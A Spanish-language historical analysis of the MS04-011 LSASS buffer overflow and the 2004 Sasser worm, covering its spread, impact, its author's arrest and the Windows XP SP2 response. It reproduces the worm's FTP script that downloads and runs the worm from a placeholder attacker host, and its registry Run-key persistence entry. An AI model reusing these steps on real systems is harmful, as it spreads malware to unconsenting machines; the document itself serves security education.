MS04-011: LSASS y el Gusano Sasser (2004)

Un adolescente, un servicio crítico y un millón de máquinas

El 13 de abril de 2004, Microsoft publicó el boletín MS04-011, un paquete masivo de 14 correcciones de seguridad para Windows. Entre ellas, con calificación "Crítica", estaba la corrección de un stack buffer overflow en LSASS (Local Security Authority Subsystem Service), identificado como CVE-2003-0533. La vulnerabilidad permitía ejecución remota de código sin autenticación en cualquier máquina Windows 2000 o XP accesible por la red.

Diecisiete días después, el 30 de abril de 2004, apareció el gusano Sasser. Su autor era Sven Jaschan, un estudiante alemán de 17 años que vivía en Rotenburg, Baja Sajonia. Jaschan había cumplido 18 el día anterior al lanzamiento. El gusano infectó más de un millón de máquinas en pocos días, canceló vuelos de Delta Air Lines, paralizó las comunicaciones de la agencia AFP, y obligó a hospitales y bancos a desconectar sus sistemas.

Sasser no requería que el usuario abriera un archivo adjunto, visitara una web maliciosa ni ejecutara nada. Bastaba con tener una máquina Windows conectada a Internet sin el parche MS04-011.

La vulnerabilidad: CVE-2003-0533

LSASS: el guardián de la seguridad de Windows

LSASS es uno de los procesos más importantes del sistema operativo Windows. Su proceso (lsass.exe) se ejecuta con privilegios SYSTEM desde el arranque y es responsable de:

• Autenticación de usuarios locales y de dominio
• Generación de tokens de acceso para sesiones de usuario
• Aplicación de políticas de seguridad (longitud de contraseñas, bloqueo de cuentas)
• Gestión de cambios de contraseña
• Escritura de eventos de auditoría en el log de seguridad
• Comunicación entre controladores de dominio Active Directory

El proceso lsass.exe es clasificado como "crítico" por Windows. Si lsass.exe se termina inesperadamente, el sistema operativo inicia un apagado forzoso porque considera que el estado de seguridad del sistema está comprometido y no puede garantizar la integridad de las sesiones de usuario.

La función vulnerable: DsRolerUpgradeDownlevelServer

La vulnerabilidad estaba en la función DsRolerUpgradeDownlevelServer, que formaba parte de la interfaz RPC para la promoción de servidores a controladores de dominio Active Directory (el proceso conocido como dcpromo). Esta función manejaba las solicitudes de actualización de servidores "downlevel" (Windows NT 4.0) a controladores de dominio Windows 2000.

La función escribía entradas de depuración en un archivo de log (DCPROMO.LOG). El problema residía en cómo construía estos mensajes de log:

// Pseudocódigo simplificado de la función vulnerable
DWORD DsRolerUpgradeDownlevelServer(
    LPWSTR lpDnsDomainName,   // nombre DNS del dominio
    LPWSTR lpSiteName,        // nombre del sitio AD
    LPWSTR lpDsDatabasePath,  // ruta de la base de datos
    LPWSTR lpDsLogPath,       // ruta del log
    // ... más parámetros
) {
    WCHAR logBuffer[256];  // búfer de 256 caracteres en la pila

    // BUG: sprintf sin verificación de longitud
    swprintf(logBuffer,
        L"DsRolerUpgradeDownlevelServer(%s, %s, %s, %s, ...)",
        lpDnsDomainName,
        lpSiteName,
        lpDsDatabasePath,
        lpDsLogPath);

    DsRolerDebugOut(logBuffer);
    // ...
}

La función swprintf (al igual que sprintf) no verificaba que la cadena resultante cupiera en el búfer de 256 caracteres anchos (512 bytes). Si un atacante enviaba parámetros con nombres de dominio, sitios o rutas excesivamente largos, la cadena formateada desbordaba el búfer en la pila.

El stack overflow

A diferencia del heap overflow de Blaster (MS03-026), esta era una vulnerabilidad de stack overflow clásica. El búfer logBuffer estaba asignado en la pila de la función. Cuando la cadena formateada excedía los 256 caracteres, los datos adicionales sobrescribían secuencialmente:

1. Variables locales: otras variables de la función en la pila
2. Frame pointer guardado (EBP): el registro que apunta al marco de pila del llamante
3. Dirección de retorno (EIP): la dirección a la que el procesador saltaría cuando la función terminase

El atacante controlaba los parámetros de la solicitud RPC, lo que significaba que controlaba el contenido que se escribía más allá del búfer. Podía colocar shellcode dentro de los propios parámetros y sobrescribir la dirección de retorno para que apuntara al shellcode.

Acceso sin autenticación

La interfaz RPC que contenía la función vulnerable era accesible a través de named pipes SMB (\pipe\lsarpc) y a través de puertos RPC dinámicos. Lo crítico es que no requería autenticación. Un atacante remoto podía invocar la función DsRolerUpgradeDownlevelServer con parámetros arbitrarios sin necesidad de credenciales válidas.

La exposición era amplia:

• Windows XP: los puertos SMB (445) estaban accesibles por defecto sin firewall
• Windows 2000: la misma situación, con puertos RPC adicionales
• Windows Server 2003: parcialmente mitigado por políticas de seguridad más estrictas

El parche de Microsoft corrigió el problema reemplazando swprintf por _snwprintf con verificación de longitud, y añadió validación de los parámetros RPC antes de formatearlos en el búfer de log.

El gusano Sasser

Creación y motivación

Sven Jaschan desarrolló Sasser mientras era estudiante de informática en una escuela técnica en Rotenburg. Según las investigaciones, Jaschan también era el autor de variantes del gusano Netsky, un gusano de correo electrónico que había estado propagándose en los meses previos. Sasser fue su intento de crear un gusano de red puro, sin componente de correo electrónico.

Jaschan utilizó el exploit público que apareció días después de la publicación del parche MS04-011 como base para su gusano. El código de Sasser era relativamente simple comparado con gusanos anteriores como Code Red o Blaster, pero su efectividad fue devastadora.

Mecanismo de propagación

Sasser seguía un ciclo de infección automático sin intervención humana:

1. Escaneo de objetivos: el gusano generaba direcciones IP aleatorias (con sesgo hacia rangos locales) y verificaba si el puerto TCP 445 (SMB) estaba abierto. Enviaba múltiples hilos de escaneo simultáneamente para maximizar la velocidad de propagación.

2. Explotación: para cada objetivo accesible, el gusano enviaba la solicitud RPC malformada a la interfaz DsRolerUpgradeDownlevelServer a través del named pipe \pipe\lsarpc. El shellcode incluido en la solicitud abría un shell remoto en el puerto TCP 9996.

3. Transferencia del binario: una vez establecido el shell remoto, el gusano creaba un script FTP en la máquina víctima (un archivo llamado cmd.ftp) que descargaba el ejecutable del gusano desde un servidor FTP que la máquina atacante había levantado en el puerto TCP 5554:

echo open [IP_atacante] 5554 > cmd.ftp
echo anonymous >> cmd.ftp
echo user >> cmd.ftp
echo binary >> cmd.ftp
echo get [nombre_variante].exe >> cmd.ftp
echo bye >> cmd.ftp
ftp -s:cmd.ftp

4. Ejecución y persistencia: el gusano se copiaba al directorio del sistema y se registraba en el registro de Windows:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"avserve2.exe" = "%WINDIR%\avserve2.exe"

5. Servidor FTP local: el gusano levantaba un servidor FTP en el puerto TCP 5554 de la máquina recién infectada para servir copias de sí mismo a futuras víctimas.

Variantes

Sasser evolucionó rápidamente en múltiples variantes:

Variante	Fecha	Cambios principales
Sasser.A	30 abril 2004	Original, 128 hilos de escaneo
Sasser.B	1 mayo 2004	Optimizado, archivo win2.log como mutex
Sasser.C	2 mayo 2004	Nombre de archivo aleatorio, correcciones de bugs
Sasser.D	9 mayo 2004	Puerto FTP cambiado, detección más difícil
Sasser.E	9 mayo 2004	Intenta eliminar variantes de Netsky

Sasser.B fue la variante más extendida, con un rate de escaneo optimizado que podía alcanzar hasta 400.000 sondas por hora en una máquina con buena conectividad.

El reinicio forzado: el síntoma más visible

Al igual que con Blaster, el síntoma más visible de Sasser para los usuarios era el reinicio automático del sistema. Cuando el exploit de Sasser no lograba una explotación limpia (lo que ocurría con frecuencia, especialmente en sistemas con configuraciones de memoria diferentes a las que el exploit esperaba), corrompía la memoria del proceso lsass.exe causando su terminación.

Windows detectaba que el proceso crítico lsass.exe había terminado y mostraba el diálogo de apagado:

Este sistema se está apagando. Guarde todo el trabajo y cierre sesión.
Todos los cambios no guardados se perderán.
Este apagado fue iniciado por NT AUTHORITY\SYSTEM

Tiempo antes del apagado: 00:00:60

La solución temporal era ejecutar shutdown /a en una ventana de comandos para abortar el apagado, y después aplicar el parche MS04-011. Pero para muchos usuarios, el ciclo de arranque, infección y reinicio era tan rápido que no daban tiempo a descargar el parche por la red antes del siguiente reinicio.

Microsoft publicó herramientas de limpieza y el parche en CDs distribuidos gratuitamente, ya que muchas máquinas infectadas no podían mantenerse conectadas el tiempo suficiente para completar una actualización.

Impacto en infraestructura crítica

Sasser demostró de forma dramática la dependencia de la infraestructura civil en sistemas Windows no parcheados:

Aviación: Delta Air Lines canceló varios vuelos transatlánticos porque los sistemas de check-in y gestión de vuelos fallaron. Otras aerolíneas reportaron interrupciones menores.

Medios de comunicación: la agencia de noticias AFP (Agence France-Presse) perdió sus comunicaciones por satélite durante varias horas, afectando la distribución de noticias a nivel mundial.

Sanidad: hospitales en varios países reportaron fallos en sistemas administrativos y de gestión de pacientes. El estado de Misisipi declaró problemas en su sistema sanitario estatal.

Servicios marítimos: las guardias costeras de Reino Unido y Suecia sufrieron interrupciones en sus sistemas de comunicaciones.

Sector financiero: bancos y compañías de seguros en Europa y Estados Unidos reportaron interrupciones en sus operaciones.

Administración pública: la Comisión Europea y varios organismos gubernamentales europeos fueron afectados.

Lo notable es que el parche llevaba 17 días disponible cuando apareció Sasser. La ventana de parcheado (13 de abril al 30 de abril) fue insuficiente para organizaciones que dependían de procesos de validación y despliegue de parches lentos, o que simplemente no tenían un proceso de gestión de parches.

Consecuencias legales y técnicas

El arresto de Sven Jaschan

El 7 de mayo de 2004, ocho días después de la aparición de Sasser, la policía federal alemana (BKA) arrestó a Sven Jaschan en su domicilio en Rotenburg. La pista llegó a través de dos informantes que conocían a Jaschan y contactaron a Microsoft para reclamar la recompensa de 250.000 dólares que la compañía había ofrecido por información sobre el autor del gusano.

Jaschan admitió haber creado tanto Sasser como varias variantes de Netsky. Fue juzgado como menor de edad (tenía 17 al crear el gusano) y condenado en julio de 2005 a un año y nueve meses de libertad condicional. La sentencia fue considerada leniente por muchos en la comunidad de seguridad, dado el impacto global del gusano.

Tras su condena, Jaschan fue contratado por la empresa de seguridad Securepoint GmbH como desarrollador. Este detalle generó controversia: ¿debería un criminal informático convicto trabajar en ciberseguridad? El debate anticipa las discusiones actuales sobre la ética de contratar hackers "reformados".

Windows XP SP2 como respuesta

Sasser, junto con Blaster el año anterior, fue un factor determinante en la aceleración del desarrollo de Windows XP Service Pack 2:

Firewall habilitado por defecto: la medida más impactante. Con el firewall activo, los puertos 135, 445 y los puertos RPC dinámicos dejaban de ser accesibles desde la red externa, eliminando la superficie de ataque para gusanos como Blaster y Sasser.

DEP (Data Execution Prevention): marcaba regiones de memoria (como la pila y el heap) como no ejecutables, dificultando la ejecución de shellcode inyectado a través de buffer overflows.

Reducción de servicios de red: Windows XP SP2 deshabilitó varios servicios de red que no eran necesarios para el funcionamiento normal del sistema, reduciendo la superficie de ataque.

Mejoras en Windows Update: se reforzó el mecanismo de actualizaciones automáticas para que los parches críticos se instalaran sin intervención del usuario.

Análisis MITRE ATT&CK

Fase del ataque	Técnica ATT&CK	Descripción
Acceso inicial	T1190 (Exploit Public-Facing Application)	Stack overflow en LSASS via SMB/RPC
Ejecución	T1059.003 (Windows Command Shell)	Shell remoto en puerto 9996
Persistencia	T1547.001 (Registry Run Keys)	Clave Run para ejecución al arranque
Propagación	T1210 (Exploitation of Remote Services)	Escaneo masivo puerto 445 + explotación automática
Transferencia	T1105 (Ingress Tool Transfer)	FTP en puerto 5554 para descarga del binario

La ventana que se cierra

Sasser fue uno de los últimos gusanos de red "clásicos" que explotaban servicios de Windows expuestos directamente a Internet. La razón es simple: Windows XP SP2, lanzado en agosto de 2004, cerró la ventana. Con el firewall habilitado por defecto, los servicios internos de Windows dejaron de ser accesibles desde la red externa para la mayoría de usuarios domésticos.

Sin embargo, en redes corporativas donde el firewall perimetral protegía el acceso externo pero los puertos internos seguían abiertos, las vulnerabilidades de servicios de red continuaron siendo un vector de propagación lateral durante años. Conficker, en 2008, demostró que MS08-067 podía propagarse masivamente dentro de redes corporativas donde los puertos SMB estaban abiertos entre máquinas internas.

La lección de Sasser va más allá de lo técnico: 17 días no son suficientes para parchear infraestructura crítica. Los procesos de gestión de parches (testing, validación, despliegue escalonado) toman semanas o meses en organizaciones grandes. La brecha entre "parche disponible" y "parche desplegado" es la ventana que los atacantes, tanto gusanos automatizados como operadores humanos, explotan consistentemente.